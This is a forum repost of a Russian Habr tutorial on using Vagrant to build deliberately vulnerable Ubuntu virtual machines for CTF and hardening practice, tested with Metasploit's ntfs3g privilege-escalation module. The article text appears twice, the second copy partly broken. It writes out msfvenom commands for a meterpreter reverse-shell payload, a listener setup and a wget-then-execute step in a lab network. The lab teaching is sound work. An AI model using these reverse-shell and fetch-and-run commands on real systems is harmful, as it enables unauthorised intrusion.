[Настройка Linux, Информационная безопасность] Настройка уязвимых машин через Vagrant
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
Для будущих студентов курса "Administrator Linux.Basic" и всех интересующихся темой подготовили статью, автором которой является Александр Колесников.
Приглашаем всех желающих записаться на открытый вебинар «Iptables».
Статья расскажет о нестандартном подходе для использования системы конфигурации виртуальных сред. Будет показан процесс создания уязвимой версии виртуальной машины Linux для проведения соревнований CTF или для практики по hardening операционных систем.Система конфигурированияДля примера создания уже настроенной виртуальной машины будем использовать Vagrant. Это очень простой инструмент, который позволяет настраивать операционные системы в среде виртуализации. Долгое время система работала только с VirtualBox, но сейчас появилась поддержка VMWare и даже систем контейнеризации таких как Docker и LXC.Почему нужно использовать систему автоматических конфигураций? Ведь проще собрать весь необходимый софт в одном месте, затем потратить пару дней на его установку и настройку, и после этого можно пользоваться ОС. Ответ прост — настройка любой операционной системы это длительный и однообразный процесс. Поэтому если его можно автоматизировать, то стоит это сделать и тратить остальное время на изучение дополнительного материала о администрировании и работе операционных систем.Концепция работы системы Vagrant заключается в том, что можно создать базовый образ операционной системы и затем его использовать для более тонкой конфигурации. Такие «готовые» операционные системы называются box. Они могут быть найдены в специальном каталоге, где их выкладывают другие пользователи Vagrant. (Стоит помнить, что в них может быть потенциально установлено что угодно, включая вредоносное ПО). Так как под все задачи образ не подготовить, то документация системы говорит о том, что если установка компонентов, которые нужно разворачивать в виртуальной машине очень сложна в настройке и долгое время загружаются, то стоит их добавить сразу в box. Если же тонкая настройка может быть запущена и будет занимать некритичное время, то можно использовать скрипт, который будет всё выполнять на старте системы.Попробуем воспользоваться системой Vagrant для настройки уязвимых версий Linux.Уязвимые хостыДля тестов будет использоваться версия Vagrant 2.2.15. Устанавливать Vargant рекомендуется именно с его официального сайта. Потому что те версии Vagrant, которые можно найти в репозиториях и поставках ОС, могут не содержать всех необходимых зависимостей. На нашем стенде отдельно была установлена среда виртуализации VirtualBox 6.1.Задача создания виртуальной машины, которая будет содержать какую-то уязвимость достаточно нетривиальна. Каждый раз при создании таких «специальных» машин требуется:
- Выбрать уязвимость
- Найти публичное описание уязвимости
- Найти для публичной уязвимости набор инструментов для её обнаружения и тестирования
С первым пунктом всё может пройти достаточно гладко. Так как есть базы данных, которые содержат информацию о существующих уязвимостях, но второй и третий пункт может никогда и не найти решение для отдельно взятой уязвимости. Потому что либо не будет никакого описания уязвимости, либо никто не будет публиковать инструменты. В нашем эксперименте пойдем от противного — попробуем взять уязвимость, которая может быть проэксплуатирована фреймворком Metasploit и попытаемся проанализировав скрипт эксплойта, создать под него уязвимую Linux систему.Выбор скрипта и его анализСкрипт будем выбирать из версии Metasploit 6.0.22-dev. Нам не нужно иметь последнюю версию так как там не так быстро появляются эксплойты. Чтобы найти необходимый скрипт нужно запустить консоль управления фреймворком:
msfconsole -q
И задать фильтр для списка всех имеющихся скриптов с эксплойтами:
search debian
Немного пролистав результат возьмем скрипт — exploit/linux/local/ntfs3g_priv_esc. Как галсит описание этого скрипта, он проводит эскалацию привилегий в уязвимых системах Debian/Ubuntu. Чтобы поработать с ним и выяснить какая версия ОС нам нужна, откроем скрипт на редактирование:
use exploit/linux/local/ntfs3g_priv_esc
edit
Структура модулей эксплойтов в фреймворке достаточна проста — каждая команда из консоли управления имеет одноименную функцию, которая описана внутри скрипта. Например exploit:
Ни один эксплойт в Metasploit начиная с версии 6.0 не будет работать, если не проверит уязвима ли система к конкретному эксплойту. Поэтому будет достаточно пролистать на место, где описан алгоритм работы функции "check". Немного ниже мы её и находим:
Теперь у нас есть все версии ОС, которые нужны, перейдем к этапу сборки виртуальной машины.СборкаКак было уже описано ранее, Vagrant работает на основе box объектов, которые представляют собой базовую ОС и некоторое количество софта. Обычно только ОС, но всё зависит от того, что нужно администратору. Попробуем найти нужный box в каталоге. Как гласит функция проверки, нам нужен box, ubuntu 16.04/16.10 или Debian 7/8. Уязвимое ПО будет стоять в системе по умолчанию. Стоит так же учесть, что данная версия эксплойта будет работать, только если уже есть доступ к любому пользователю внутри системы.Для теста возьмем 2 box:
Процедура установки каждого из них достаточно проста. Для каждого из них создаем свою директорию и запускаем команды в соответствующих директориях. Для первого:
vagrant init wyeworks/ubuntu-16.10 && vagrant up && vagrant halt
Для второго:
vagrant init generic/ubuntu1610 && vagrant up && vagrant halt
После работы этих команд необходимо открыть интерфейс VBox, в самом низу списка машин появятся 2 машины с рандомным именем. Это и есть развернутые системы. Для того чтобы теперь можно было довести опыт до конца. Изменим сетевой адаптер с "NAT" на "Host-Only". Подключим к этой сети машину с Metasploit. Далее проводим такую операцию для тестов:
- Создаем meterpreter для настройки взаимодействия с уязвимыми системами:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=9999 -f elf -o testVagrant
- Запускаем слушателя на машине с Metasploit, команды вводить в консоли управления msf:
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.103
set LPORT 9999
exploit -j
- Доставим файл testVagrant:
python3 -m http.server 9090
- Загрузим файл на уязвимую систему:
wget http://192.168.1.103:9090/testVagrant
Запустим файл на второй машине:
chmod +x ./testVagrant && ./testVagrant
Получаем соединение:
Похоже, что система неуязвима из-за того что удален уязвимый модуль. Попробуем запустить всё тоже самое на первой машине:
Бинго — уязвимая система найдена, можно использовать box для развертывания уязвимых стендов. Таким образом потратив всего лишь 15 минут можно настроить большое количество виртуальных машин и найти нужную с необходимыми характеристиками. А если бы настройка происходила из установочного образа, можно было бы потратить весь день.
Узнать подробнее о курсе "Administrator Linux.Basic" .Смотреть открытый вебинар «Iptables».
===========
Источник:
habr.com
===========
Похожие новости:
- [Информационная безопасность, PostgreSQL, Администрирование баз данных] Обеспечение безопасности базы данных PostgreSQL (перевод)
- [Информационная безопасность] Security Week 14: масштабная утечка данных в Facebook
- [Разработка мобильных приложений, Управление продуктом] Как сократить стоимость мобильной разработки
- [Информационная безопасность] Что мы узнали из нового отчета ФинЦЕРТа
- [Настройка Linux, Сетевые технологии] Настройка сетевого стека Linux для высоконагруженных систем (перевод)
- [Информационная безопасность] Как выявить кибератаку и предотвратить кражу денег
- [Программирование, Алгоритмы, Интервью] Архитектор современных алгоритмов (перевод)
- [Информационная безопасность, Тестирование веб-сервисов] Meetup «Тестирование в IVI: На страже кино»
- [Информационная безопасность, Разработка под iOS, Разработка мобильных приложений, API, Монетизация мобильных приложений] Apple запрещает использовать рекламные SDK для создания цифрового отпечатка пользователя
- [Информационная безопасность, Антивирусная защита, Реверс-инжиниринг, Игры и игровые приставки] Как Runescape ловит ботоводов, и почему она не поймала меня (перевод)
Теги для поиска: #_nastrojka_linux (Настройка Linux), #_informatsionnaja_bezopasnost (Информационная безопасность), #_virtualnaja_mashina (виртуальная машина), #_administrirovanie_linux (администрирование linux), #_vagrant, #_iptables, #_blog_kompanii_otus (
Блог компании OTUS
), #_nastrojka_linux (
Настройка Linux
), #_informatsionnaja_bezopasnost (
Информационная безопасность
)
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 14:44
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
Для будущих студентов курса "Administrator Linux.Basic" и всех интересующихся темой подготовили статью, автором которой является Александр Колесников.
Приглашаем всех желающих записаться на открытый вебинар «Iptables». Статья расскажет о нестандартном подходе для использования системы конфигурации виртуальных сред. Будет показан процесс создания уязвимой версии виртуальной машины Linux для проведения соревнований CTF или для практики по hardening операционных систем.Система конфигурированияДля примера создания уже настроенной виртуальной машины будем использовать Vagrant. Это очень простой инструмент, который позволяет настраивать операционные системы в среде виртуализации. Долгое время система работала только с VirtualBox, но сейчас появилась поддержка VMWare и даже систем контейнеризации таких как Docker и LXC.Почему нужно использовать систему автоматических конфигураций? Ведь проще собрать весь необходимый софт в одном месте, затем потратить пару дней на его установку и настройку, и после этого можно пользоваться ОС. Ответ прост — настройка любой операционной системы это длительный и однообразный процесс. Поэтому если его можно автоматизировать, то стоит это сделать и тратить остальное время на изучение дополнительного материала о администрировании и работе операционных систем.Концепция работы системы Vagrant заключается в том, что можно создать базовый образ операционной системы и затем его использовать для более тонкой конфигурации. Такие «готовые» операционные системы называются box. Они могут быть найдены в специальном каталоге, где их выкладывают другие пользователи Vagrant. (Стоит помнить, что в них может быть потенциально установлено что угодно, включая вредоносное ПО). Так как под все задачи образ не подготовить, то документация системы говорит о том, что если установка компонентов, которые нужно разворачивать в виртуальной машине очень сложна в настройке и долгое время загружаются, то стоит их добавить сразу в box. Если же тонкая настройка может быть запущена и будет занимать некритичное время, то можно использовать скрипт, который будет всё выполнять на старте системы.Попробуем воспользоваться системой Vagrant для настройки уязвимых версий Linux.Уязвимые хостыДля тестов будет использоваться версия Vagrant 2.2.15. Устанавливать Vargant рекомендуется именно с его официального сайта. Потому что те версии Vagrant, которые можно найти в репозиториях и поставках ОС, могут не содержать всех необходимых зависимостей. На нашем стенде отдельно была установлена среда виртуализации VirtualBox 6.1.Задача создания виртуальной машины, которая будет содержать какую-то уязвимость достаточно нетривиальна. Каждый раз при создании таких «специальных» машин требуется:
msfconsole -q
search debian
use exploit/linux/local/ntfs3g_priv_esc
edit Ни один эксплойт в Metasploit начиная с версии 6.0 не будет работать, если не проверит уязвима ли система к конкретному эксплойту. Поэтому будет достаточно пролистать на место, где описан алгоритм работы функции "check". Немного ниже мы её и находим: Теперь у нас есть все версии ОС, которые нужны, перейдем к этапу сборки виртуальной машины.СборкаКак было уже описано ранее, Vagrant работает на основе box объектов, которые представляют собой базовую ОС и некоторое количество софта. Обычно только ОС, но всё зависит от того, что нужно администратору. Попробуем найти нужный box в каталоге. Как гласит функция проверки, нам нужен box, ubuntu 16.04/16.10 или Debian 7/8. Уязвимое ПО будет стоять в системе по умолчанию. Стоит так же учесть, что данная версия эксплойта будет работать, только если уже есть доступ к любому пользователю внутри системы.Для теста возьмем 2 box: Процедура установки каждого из них достаточно проста. Для каждого из них создаем свою директорию и запускаем команды в соответствующих директориях. Для первого: vagrant init wyeworks/ubuntu-16.10 && vagrant up && vagrant halt
vagrant init generic/ubuntu1610 && vagrant up && vagrant halt
python3 -m http.server 9090
wget http://192.168.1.103:9090/testVagrant
chmod +x ./testVagrant && ./testVagrant
Похоже, что система неуязвима из-за того что удален уязвимый модуль. Попробуем запустить всё тоже самое на первой машине: Бинго — уязвимая система найдена, можно использовать box для развертывания уязвимых стендов. Таким образом потратив всего лишь 15 минут можно настроить большое количество виртуальных машин и найти нужную с необходимыми характеристиками. А если бы настройка происходила из установочного образа, можно было бы потратить весь день. Узнать подробнее о курсе "Administrator Linux.Basic" .Смотреть открытый вебинар «Iptables».
=========== Источник: habr.com =========== Похожие новости:
Блог компании OTUS ), #_nastrojka_linux ( Настройка Linux ), #_informatsionnaja_bezopasnost ( Информационная безопасность ) |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 14:44
Часовой пояс: UTC + 5